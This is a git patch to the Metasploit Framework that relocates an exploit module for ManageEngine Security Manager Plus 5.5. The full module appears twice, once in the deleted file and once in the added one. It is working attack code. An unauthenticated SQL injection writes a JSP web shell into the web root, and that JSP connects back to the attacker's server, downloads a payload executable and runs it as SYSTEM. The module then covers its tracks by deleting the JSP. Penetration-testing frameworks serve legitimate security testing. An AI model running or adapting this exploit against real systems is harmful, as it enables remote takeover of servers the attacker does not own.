From 5072156df6a965e87e8ac1fc9a93759bb4144ccb Mon Sep 17 00:00:00 2001 From: sinn3r Date: Mon, 22 Oct 2012 23:01:58 -0500 Subject: [PATCH] Designed specifically for Windows, so let's move to Windows Plus additional fixes --- .../exploits/multi/http/manage_engine_sqli.rb | 218 ------------------ .../windows/http/manage_engine_sqli.rb | 208 +++++++++++++++++ 2 files changed, 208 insertions(+), 218 deletions(-) delete mode 100644 modules/exploits/multi/http/manage_engine_sqli.rb create mode 100644 modules/exploits/windows/http/manage_engine_sqli.rb diff --git a/modules/exploits/multi/http/manage_engine_sqli.rb b/modules/exploits/multi/http/manage_engine_sqli.rb deleted file mode 100644 index 31eb68e69e..0000000000 --- a/modules/exploits/multi/http/manage_engine_sqli.rb +++ /dev/null @@ -1,218 +0,0 @@ -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ -## - -require 'msf/core' - -class Metasploit3 < Msf::Exploit::Remote - Rank = ExcellentRanking - - include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::Remote::TcpServer - include Msf::Exploit::EXE - - def initialize(info={}) - super(update_info(info, - 'Name' => "ManageEngine Security Manager Plus <=5.5 build 5505 remote code execution", - 'Description' => %q{ - This module exploits a SQL injection found in ManageEngine Security Manager Plus - advanced search page. It will send a malicious SQL query to create a JSP file - under the web root directory, and then let it download and execute our malicious - executable under the context of SYSTEM. No authentication is necessary to exploit this. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'xistence' # Discovery & Metasploit module - ], - 'References' => - [ - ], - 'Payload' => - { - 'BadChars' => "\x00", - }, - 'DefaultOptions' => - { - 'ExitFunction' => "none" - }, - 'Platform' => 'win', - 'Targets' => - [ - # Win XP / 2003 / Vista / Win 7 / etc - ['Windows Universal', {}] - ], - 'Privileged' => false, - 'DisclosureDate' => "Oct 18 2012", - 'DefaultTarget' => 0)) - - register_options( - [ - OptPort.new('RPORT', [true, 'The target port', 6262]), - ], self.class) - end - - - # - # A very gentle check to see if Security Manager Plus exists or not - # - def check - res = send_request_raw({ - 'method' => 'GET', - 'uri' => '/SecurityManager.cc' - }) - - if res and res.body =~ /\Security Manager Plus\<\/title\>/ - return Exploit::CheckCode::Detected - else - return Exploit::CheckCode::Safe - end - end - - - # - # Remove the JSP once we get a shell. - # We cannot delete the executable because it will still be in use. - # - def on_new_session(cli) - if cli.type != 'meterpreter' - print_error("Meterpreter not used. Please manually remove #{@jsp_name + '.jsp'}") - return - end - - cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi") - - begin - # jsp = @outpath.gsub(/\//, "\\\\") - # jsp = jsp.gsub(/"/, "") - vprint_status("#{rhost}:#{rport} - Deleting: #{@jsp_name + '.jsp'}") - cli.fs.file.rm("../webapps/SecurityManager/#{@jsp_name + '.jsp'}") - print_status("#{rhost}:#{rport} - #{@jsp_name + '.jsp'} deleted") - rescue ::Exception => e - print_error("Unable to delete #{@jsp_name + '.jsp'}: #{e.message}") - end - end - - - # - # Transfer the malicious executable to our victim - # - def on_client_connect(cli) - print_status("#{cli.peerhost}:#{cli.peerport} - Sending executable (#{@native_payload.length} bytes)") - cli.put(@native_payload) - service.close_client(cli) - end - - - # - # Generate a download+exe JSP payload - # - def generate_jsp_payload - my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address("50.50.50.50") : datastore['SRVHOST'] - my_port = datastore['SRVPORT'] - - # tmp folder = C:\Program Files\SolarWinds\Storage Manager Server\temp\ - # This will download our malicious executable in base64 format, decode it back, - # save it as a temp file, and then finally execute it. - jsp = %Q| - <%@page import="java.io.*"%> - <%@page import="java.net.*"%> - <%@page import="sun.misc.BASE64Decoder"%> - - <% - StringBuffer buf = new StringBuffer(); - byte[] shellcode = null; - BufferedOutputStream outstream = null; - try { - Socket s = new Socket("#{my_host}", #{my_port}); - BufferedReader r = new BufferedReader(new InputStreamReader(s.getInputStream())); - while (buf.length() < #{@native_payload.length}) { - buf.append( (char) r.read()); - } - - BASE64Decoder decoder = new BASE64Decoder(); - shellcode = decoder.decodeBuffer(buf.toString()); - - File temp = File.createTempFile("#{@native_payload_name}", ".exe"); - String path = temp.getAbsolutePath(); - - outstream = new BufferedOutputStream(new FileOutputStream(path)); - outstream.write(shellcode); - outstream.close(); - - Process p = Runtime.getRuntime().exec(path); - } catch (Exception e) {} - %> - | - - jsp = jsp.gsub(/\n/, '') - jsp = jsp.gsub(/\t/, '') - - jsp.unpack("H*")[0] - end - - - # - # Run the actual exploit - # - def inject_exec - # This little lag is meant to ensure the TCP server runs first before the requests - select(nil, nil, nil, 1) - - # Inject our JSP payload - print_status("#{rhost}:#{rport} - Sending JSP payload") - pass = rand_text_alpha(rand(10)+5) - hex_jsp = generate_jsp_payload - - res = send_request_cgi({ - 'method' => 'POST', - 'uri' => '/STATE_ID/31337/jsp/xmlhttp/persistence.jsp?reqType=AdvanceSearch&SUBREQUEST=XMLHTTP', - 'headers' => { - 'Cookie' => 'STATE_COOKIE=%26SecurityManager%2FID%2F174%2FHomePageSubDAC_LIST%2F223%2FSecurityManager_CONTENTAREA_LIST%2F226%2FMainDAC_LIST%2F166%26MainTabs%2FID%2F167%2F_PV%2F174%2FselectedView%2FHome%26Home%2FID%2F166%2FPDCA%2FMainDAC%2F_PV%2F174%26HomePageSub%2FID%2F226%2FPDCA%2FSecurityManager_CONTENTAREA%2F_PV%2F166%26HomePageSubTab%2FID%2F225%2F_PV%2F226%2FselectedView%2FHomePageSecurity%26HomePageSecurity%2FID%2F223%2FPDCA%2FHomePageSubDAC%2F_PV%2F226%26_REQS%2F_RVID%2FSecurityManager%2F_TIME%2F31337; 2RequestsshowThreadedReq=showThreadedReqshow; 2RequestshideThreadedReq=hideThreadedReqhide;', - 'Accept-Encoding' => 'identity' - }, - 'vars_post' => { - 'ANDOR' => 'and', - 'condition_1' => 'OpenPorts@PORT', - 'operator_1' => 'IN', - 'value_1' => "1)) union select 0x#{hex_jsp},2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,21,22,23,24,25,26,27,28,29 into outfile #{@outpath} FROM mysql.user WHERE 1=((1", - 'COUNT' => '1' - } - }) - - print_status("#{rhost}:#{rport} - Sending pwnage /#{@jsp_name + '.jsp'}") - res = send_request_raw({ - 'method' => 'GET', - 'uri' => "/#{@jsp_name + '.jsp'}", - 'headers' => { - 'Cookie' => 'pwnage' - } - }) - - handler - end - - - # - # The server must start first, and then we send the malicious requests - # - def exploit - # Avoid passing this as an argument for performance reasons - # This is in base64 is make sure our file isn't mangled - @native_payload = [generate_payload_exe].pack("m*") - @native_payload_name = rand_text_alpha(rand(6)+3) - @jsp_name = rand_text_alpha(rand(6)+3) - @outpath = "\"../../webapps/SecurityManager/#{@jsp_name + '.jsp'}\"" - - begin - t = framework.threads.spawn("reqs", false) { inject_exec } - print_status("Serving executable on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}") - super - ensure - t.kill - end - end -end \ No newline at end of file diff --git a/modules/exploits/windows/http/manage_engine_sqli.rb b/modules/exploits/windows/http/manage_engine_sqli.rb new file mode 100644 index 0000000000..064c335731 --- /dev/null +++ b/modules/exploits/windows/http/manage_engine_sqli.rb @@ -0,0 +1,208 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::TcpServer + include Msf::Exploit::EXE + + def initialize(info={}) + super(update_info(info, + 'Name' => "ManageEngine Security Manager Plus 5.5 build 5505 SQL Injection", + 'Description' => %q{ + This module exploits a SQL injection found in ManageEngine Security Manager Plus + advanced search page. It will send a malicious SQL query to create a JSP file + under the web root directory, and then let it download and execute our malicious + executable under the context of SYSTEM. No authentication is necessary to exploit this. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'xistence' # Discovery & Metasploit module + ], + 'References' => + [ + ['EDB','22094'] + ], + 'Platform' => 'win', + 'Targets' => + [ + # Win XP / 2003 / Vista / Win 7 / etc + ['Windows Universal', {}] + ], + 'Privileged' => false, + 'DisclosureDate' => "Oct 18 2012", + 'DefaultTarget' => 0)) + + register_options( + [ + OptPort.new('RPORT', [true, 'The target port', 6262]) + ], self.class) + end + + + # + # A very gentle check to see if Security Manager Plus exists or not + # + def check + res = send_request_raw({ + 'method' => 'GET', + 'uri' => '/SecurityManager.cc' + }) + + if res and res.body =~ /\Security Manager Plus\<\/title\>/ + return Exploit::CheckCode::Detected + else + return Exploit::CheckCode::Safe + end + end + + + # + # Remove the JSP once we get a shell. + # We cannot delete the executable because it will still be in use. + # + def on_new_session(cli) + if cli.type != 'meterpreter' + print_error("Meterpreter not used. Please manually remove #{@jsp_name + '.jsp'}") + return + end + + cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi") + + begin + print_warning("#{rhost}:#{rport} - Deleting: #{@jsp_name + '.jsp'}") + cli.fs.file.rm("../webapps/SecurityManager/#{@jsp_name + '.jsp'}") + print_good("#{rhost}:#{rport} - #{@jsp_name + '.jsp'} deleted") + rescue ::Exception => e + print_error("Unable to delete #{@jsp_name + '.jsp'}: #{e.message}") + end + end + + + # + # Transfer the malicious executable to our victim + # + def on_client_connect(cli) + print_status("#{cli.peerhost}:#{cli.peerport} - Sending executable (#{@native_payload.length} bytes)") + cli.put(@native_payload) + service.close_client(cli) + end + + + # + # Generate a download+exe JSP payload + # + def generate_jsp_payload + my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address("50.50.50.50") : datastore['SRVHOST'] + my_port = datastore['SRVPORT'] + + jsp = %Q| + <%@page import="java.io.*"%> + <%@page import="java.net.*"%> + <%@page import="sun.misc.BASE64Decoder"%> + + <% + StringBuffer buf = new StringBuffer(); + byte[] shellcode = null; + BufferedOutputStream outstream = null; + try { + Socket s = new Socket("#{my_host}", #{my_port}); + BufferedReader r = new BufferedReader(new InputStreamReader(s.getInputStream())); + while (buf.length() < #{@native_payload.length}) { + buf.append( (char) r.read()); + } + + BASE64Decoder decoder = new BASE64Decoder(); + shellcode = decoder.decodeBuffer(buf.toString()); + + File temp = File.createTempFile("#{@native_payload_name}", ".exe"); + String path = temp.getAbsolutePath(); + + outstream = new BufferedOutputStream(new FileOutputStream(path)); + outstream.write(shellcode); + outstream.close(); + + Process p = Runtime.getRuntime().exec(path); + } catch (Exception e) {} + %> + | + + jsp = jsp.gsub(/\n/, '') + jsp = jsp.gsub(/\t/, '') + + jsp.unpack("H*")[0] + end + + + # + # Run the actual exploit + # + def inject_exec + # This little lag is meant to ensure the TCP server runs first before the requests + select(nil, nil, nil, 1) + + # Inject our JSP payload + print_status("#{rhost}:#{rport} - Sending JSP payload") + pass = rand_text_alpha(rand(10)+5) + hex_jsp = generate_jsp_payload + + cookie = 'STATE_COOKIE=%26SecurityManager%2FID%2F174%2FHomePageSubDAC_LIST%2F223%2FSecurityManager_CONTENTAREA_LIST%2F226%2FMainDAC_LIST%2F166%26MainTabs%2FID%2F167%2F_PV%2F174%2FselectedView%2FHome%26Home%2FID%2F166%2FPDCA%2FMainDAC%2F_PV%2F174%26HomePageSub%2FID%2F226%2FPDCA%2FSecurityManager_CONTENTAREA%2F_PV%2F166%26HomePageSubTab%2FID%2F225%2F_PV%2F226%2FselectedView%2FHomePageSecurity%26HomePageSecurity%2FID%2F223%2FPDCA%2FHomePageSubDAC%2F_PV%2F226%26_REQS%2F_RVID%2FSecurityManager%2F_TIME%2F31337; 2RequestsshowThreadedReq=showThreadedReqshow; 2RequestshideThreadedReq=hideThreadedReqhide;' + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => '/STATE_ID/31337/jsp/xmlhttp/persistence.jsp?reqType=AdvanceSearch&SUBREQUEST=XMLHTTP', + 'headers' => { + 'Cookie' => cookie, + 'Accept-Encoding' => 'identity' + }, + 'vars_post' => { + 'ANDOR' => 'and', + 'condition_1' => 'OpenPorts@PORT', + 'operator_1' => 'IN', + 'value_1' => "1)) union select 0x#{hex_jsp},2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,21,22,23,24,25,26,27,28,29 into outfile #{@outpath} FROM mysql.user WHERE 1=((1", + 'COUNT' => '1' + } + }) + + print_status("#{rhost}:#{rport} - Sending /#{@jsp_name + '.jsp'}") + res = send_request_raw({ + 'method' => 'GET', + 'uri' => "/#{@jsp_name + '.jsp'}", + 'headers' => { + 'Cookie' => 'pwnage' + } + }) + + handler + end + + + # + # The server must start first, and then we send the malicious requests + # + def exploit + # Avoid passing this as an argument for performance reasons + # This is in base64 is make sure our file isn't mangled + @native_payload = [generate_payload_exe].pack("m*") + @native_payload_name = rand_text_alpha(rand(6)+3) + @jsp_name = rand_text_alpha(rand(6)+3) + @outpath = "\"../../webapps/SecurityManager/#{@jsp_name + '.jsp'}\"" + + begin + t = framework.threads.spawn("reqs", false) { inject_exec } + print_status("Serving executable on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}") + super + ensure + t.kill + end + end +end \ No newline at end of file